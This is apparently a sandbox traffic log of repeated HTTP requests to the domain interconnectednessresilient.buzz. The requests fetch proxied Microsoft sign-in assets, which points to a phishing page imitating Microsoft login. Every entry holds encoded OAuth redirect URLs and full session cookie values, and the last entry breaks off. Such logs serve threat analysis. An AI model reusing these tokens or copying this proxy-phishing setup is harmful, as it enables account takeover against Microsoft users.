Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1OMGJiU3pRN2t2eUhQVGo5cXVBLXJhbk9lTU12c0xfbUg3b253cVA0UWFiZURqQkRwdjVHeFEmeC1jbGllbnQtU0tVPUlEX05FVDhfMCZ4LWNsaWVudC12ZXI9Ny41LjEuMA==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEq9tZZbZMAgmIQFvXoPXRlym0YF8QWbrKGgqgHB_n7BhyqZaKOw__uJwyzn1w-KhEUbgefYgrzph7ZTtIJ03F5YUWb-jWd7RRP633q1Slp4x5wlm02M5XnAf5knjEhJ
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEq9tZZbZMAgmIQFvXoPXRlym0YF8QWbrKGgqgHB_n7BhyqZaKOw__uJwyzn1w-KhEUbgefYgrzph7ZTtIJ03F5YUWb-jWd7RRP633q1Slp4x5wlm02M5XnAf5knjEhJS1EZYkMQ1Tgy5pIxpnrjKgmjaqr4ZGquTDhquGSmMYA8ogAA; esctx-AHeL3n320QY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEHfw7QBo7xHU4WtfwMWZ1VB0pynYjAxxFTSkvK-SxTCZZWQ5Zbff9U0cqGvrC239wQZecRcmQKY6Ox_sHk1HOxwbBwTDLDu7tDDDUFseIaa7iqFplCXkunyMxXnsf3Yg65oKv22PZ3bBQRamaXn2X6iAA; fpc=AoqkoJaJvz9Eh_YXzVockgG8Ae7AAQAAABFyGN8OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_ae573f441ee1cf781ec7.js HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEq9tZZbZMAgmIQFvXoPXRlym0YF8QWbrKGgqgHB_n7BhyqZaKOw__uJwyzn1w-KhEUbgefYgrzph7ZTtIJ03F5YUWb-jWd7RRP633q1Slp4x5wlm02M5XnAf5knjEhJS1EZYkMQ1Tgy5pIxpnrjKgmjaqr4ZGquTDhquGSmMYA8ogAA; esctx-AHeL3n320QY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEHfw7QBo7xHU4WtfwMWZ1VB0pynYjAxxFTSkvK-SxTCZZWQ5Zbff9U0cqGvrC239wQZecRcmQKY6Ox_sHk1HOxwbBwTDLDu7tDDDUFseIaa7iqFplCXkunyMxXnsf3Yg65oKv22PZ3bBQRamaXn2X6iAA; fpc=AoqkoJaJvz9Eh_YXzVockgG8Ae7AAQAAABFyGN8OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1OMGJiU3pRN2t2eUhQVGo5cXVBLXJhbk9lTU12c0xfbUg3b253cVA0UWFiZURqQkRwdjVHeFEmeC1jbGllbnQtU0tVPUlEX05FVDhfMCZ4LWNsaWVudC12ZXI9Ny41LjEuMA==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEq9tZZbZMAgmIQFvXoPXRlym0YF8QWbrKGgqgHB_n7BhyqZaKOw__uJwyzn1w-KhEUbgefYgrzph7ZTtIJ03F5YUWb-jWd7RRP633q1Slp4x5wlm02M5XnAf5knjEhJS
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1OMGJiU3pRN2t2eUhQVGo5cXVBLXJhbk9lTU12c0xfbUg3b253cVA0UWFiZURqQkRwdjVHeFEmeC1jbGllbnQtU0tVPUlEX05FVDhfMCZ4LWNsaWVudC12ZXI9Ny41LjEuMA==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEq9tZZbZMAgmIQFvXoPXRlym0YF8QWbrKGgqgHB_n7BhyqZaKOw__uJwyzn1w-KhEUbgefYgrzph7ZTtIJ03F5YUWb-jWd7RRP633q1Slp4x5wlm02M5XnAf5knjEhJS
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEq9tZZbZMAgmIQFvXoPXRlym0YF8QWbrKGgqgHB_n7BhyqZaKOw__uJwyzn1w-KhEUbgefYgrzph7ZTtIJ03F5YUWb-jWd7RRP633q1Slp4x5wlm02M5XnAf5knjEhJS1EZYkMQ1Tgy5pIxpnrjKgmjaqr4ZGquTDhquGSmMYA8ogAA; esctx-AHeL3n320QY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEHfw7QBo7xHU4WtfwMWZ1VB0pynYjAxxFTSkvK-SxTCZZWQ5Zbff9U0cqGvrC239wQZecRcmQKY6Ox_sHk1HOxwbBwTDLDu7tDDDUFseIaa7iqFplCXkunyMxXnsf3Yg65oKv22PZ3bBQRamaXn2X6iAA; fpc=AoqkoJaJvz9Eh_YXzVockgG8Ae7AAQAAABFyGN8OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEq9tZZbZMAgmIQFvXoPXRlym0YF8QWbrKGgqgHB_n7BhyqZaKOw__uJwyzn1w-KhEUbgefYgrzph7ZTtIJ03F5YUWb-jWd7RRP633q1Slp4x5wlm02M5XnAf5knjEhJS1EZYkMQ1Tgy5pIxpnrjKgmjaqr4ZGquTDhquGSmMYA8ogAA; esctx-AHeL3n320QY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEHfw7QBo7xHU4WtfwMWZ1VB0pynYjAxxFTSkvK-SxTCZZWQ5Zbff9U0cqGvrC239wQZecRcmQKY6Ox_sHk1HOxwbBwTDLDu7tDDDUFseIaa7iqFplCXkunyMxXnsf3Yg65oKv22PZ3bBQRamaXn2X6iAA; fpc=AoqkoJaJvz9Eh_YXzVockgG8Ae7AAQAAABFyGN8OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; 